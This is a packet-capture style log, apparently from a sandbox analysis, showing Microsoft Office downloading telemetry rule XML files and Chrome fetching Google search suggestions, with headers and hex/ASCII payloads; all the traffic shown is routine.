Session ID	Source IP	Source Port	Destination IP	Destination Port
3	192.168.2.5	49708	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:34:58 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:34:58 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:34:58 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: fc6998d3-101e-008d-52ad-2692e5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193458Z-16849878b785dznd7xpawq9gcn00000008eg000000002afm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:34:58 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
4	192.168.2.5	49706	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:34:58 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:34:58 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:34:58 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: 041e76a7-601e-005c-45ae-26f06f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193458Z-16849878b7828dsgct3vrzta7000000005cg00000000gkqq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:34:58 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port
5	192.168.2.5	49707	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:34:58 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:34:58 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:34:58 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: e9f225b3-c01e-0014-22e8-27a6a3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193458Z-r197bdfb6b4bq7nf8dgr5rzeq400000002c000000000193r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:34:58 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port
6	192.168.2.5	49720	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:34:59 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:35:00 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:35:00 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: 91249574-801e-0078-3dc7-27bac6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193500Z-17c5cb586f6g6g2sa7kg5c0gg0000000028000000000cut8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:35:00 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port
7	192.168.2.5	49716	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:34:59 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:35:00 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:35:00 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: 32193d61-901e-0015-09ca-27b284000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193500Z-r197bdfb6b48pcqqxhenwd2uz800000007y0000000003n5f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:35:00 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.5	49719	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:34:59 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:35:00 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:35:00 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: bbf1142f-f01e-0085-589b-2788ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193500Z-15b8d89586ffsjj9qb0gmb1stn0000000b3g00000000fq4g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:35:00 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.5	49718	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:34:59 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:35:00 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:35:00 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: 633f9008-101e-00a2-3e9b-279f2e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193459Z-16849878b78qfbkc5yywmsbg0c00000006pg00000000ccn1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:35:00 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.5	49721	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:35:00 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:35:00 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:35:00 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: e84b733d-701e-005c-1bb8-26bb94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193500Z-16849878b78wc6ln1zsrz6q9w800000006s000000000100a x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:35:00 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.5	49717	142.250.185.228	443	5332	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:35:00 UTC	615	OUT	GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIkqHLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCLnKzQEIv9HNAQiK080BCNDWzQEIqNjNAQj5wNQVGI/OzQEYutLNARjC2M0BGOuNpRc= Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-29 19:35:00 UTC	1266	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:35:00 GMT Pragma: no-cache Expires: -1 Cache-Control: no-cache, must-revalidate Content-Type: text/javascript; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-v_QFbEgL3DZPMwlckh5opA' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/cdt1 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/cdt1"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-10-29 19:35:00 UTC	112	IN	Data Raw: 61 35 39 0d 0a 29 5d 7d 27 0a 5b 22 22 2c 5b 22 64 61 79 6c 69 67 68 74 20 73 61 76 69 6e 67 73 20 74 69 6d 65 20 66 61 6c 6c 20 62 61 63 6b 22 2c 22 70 73 20 70 6c 75 73 20 67 61 6d 65 73 22 2c 22 74 61 72 67 65 74 20 74 68 61 6e 6b 73 67 69 76 69 6e 67 20 6d 65 61 6c 20 64 65 61 6c 22 2c 22 6e 79 74 20 63 6f 6e 6e 65 63 74 69 6f 6e Data Ascii: a59)]}'["",["daylight savings time fall back","ps plus games","target thanksgiving meal deal","nyt connection
2024-10-29 19:35:00 UTC	1378	IN	Data Raw: 73 20 68 69 6e 74 73 20 6f 63 74 6f 62 65 72 20 32 39 22 2c 22 77 6f 72 6c 64 20 73 65 72 69 65 73 20 79 61 6e 6b 65 65 73 20 64 6f 64 67 65 72 73 22 2c 22 78 65 6e 6f 62 6c 61 64 65 20 63 68 72 6f 6e 69 63 6c 65 73 20 78 20 73 77 69 74 63 68 22 2c 22 62 6c 61 63 6b 20 62 65 61 75 74 79 20 6e 65 74 66 6c 69 78 22 2c 22 62 72 65 65 64 65 72 73 20 63 75 70 20 32 30 32 34 20 72 61 63 65 73 22 5d 2c 5b 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 5d 2c 5b 5d 2c 7b 22 67 6f 6f 67 6c 65 3a 63 6c 69 65 6e 74 64 61 74 61 22 3a 7b 22 62 70 63 22 3a 66 61 6c 73 65 2c 22 74 6c 77 22 3a 66 61 6c 73 65 7d 2c 22 67 6f 6f 67 6c 65 3a 67 72 6f 75 70 73 69 6e 66 6f 22 3a 22 43 68 67 49 6b 6b 34 53 45 77 6f 52 56 48 4a 6c 62 6d 52 70 62 6d 63 67 63 Data Ascii: s hints october 29","world series yankees dodgers","xenoblade chronicles x switch","black beauty netflix","breeders cup 2024 races"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc
2024-10-29 19:35:00 UTC	1166	IN	Data Raw: 78 58 64 6d 4a 36 4d 6e 68 58 52 6b 35 58 54 58 5a 71 51 31 46 57 53 31 52 4c 52 54 46 43 62 7a 56 44 53 44 42 78 5a 47 77 7a 64 55 4a 6b 64 54 55 33 57 55 4e 49 54 6b 46 5a 63 57 68 78 56 31 5a 45 4d 55 46 61 53 47 56 50 56 44 52 44 5a 32 4d 72 62 32 70 75 53 46 5a 31 55 6d 31 79 61 54 46 6b 52 6d 64 35 5a 6a 5a 70 61 58 70 44 61 47 78 75 59 56 42 53 53 57 6f 32 5a 57 31 45 5a 6c 5a 6a 57 45 5a 71 4f 45 67 34 56 33 64 6d 53 33 46 35 63 6e 70 48 57 54 46 47 4d 56 4e 70 56 57 46 56 63 33 59 34 51 57 4d 7a 5a 47 68 6d 61 47 5a 69 4d 33 68 75 54 46 70 32 51 33 41 77 64 33 68 54 5a 6c 70 48 57 55 4e 57 64 46 52 78 4e 32 4e 48 55 6c 64 32 64 48 46 51 64 48 4e 6b 64 6d 4a 48 63 6c 56 71 64 31 4e 56 63 30 77 77 64 57 35 76 54 57 64 4e 5a 57 35 71 56 47 4a 68 4d Data Ascii: xXdmJ6MnhXRk5XTXZqQ1FWS1RLRTFCbzVDSDBxZGwzdUJkdTU3WUNITkFZcWhxV1ZEMUFaSGVPVDRDZ2Mrb2puSFZ1Um1yaTFkRmd5ZjZpaXpDaGxuYVBSSWo2ZW1EZlZjWEZqOEg4V3dmS3F5cnpHWTFGMVNpVWFVc3Y4QWMzZGhmaGZiM3huTFp2Q3Awd3hTZlpHWUNWdFRxN2NHUld2dHFQdHNkdmJHclVqd1NVc0wwdW5vTWdNZW5qVGJhM
2024-10-29 19:35:00 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.5	49728	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:35:00 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:35:00 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:35:00 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: cb18986a-b01e-0053-40f0-27cdf8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193500Z-r197bdfb6b46krmwag4tzr9x7c00000006rg00000000hu6n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:35:00 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.5	49726	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:35:00 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
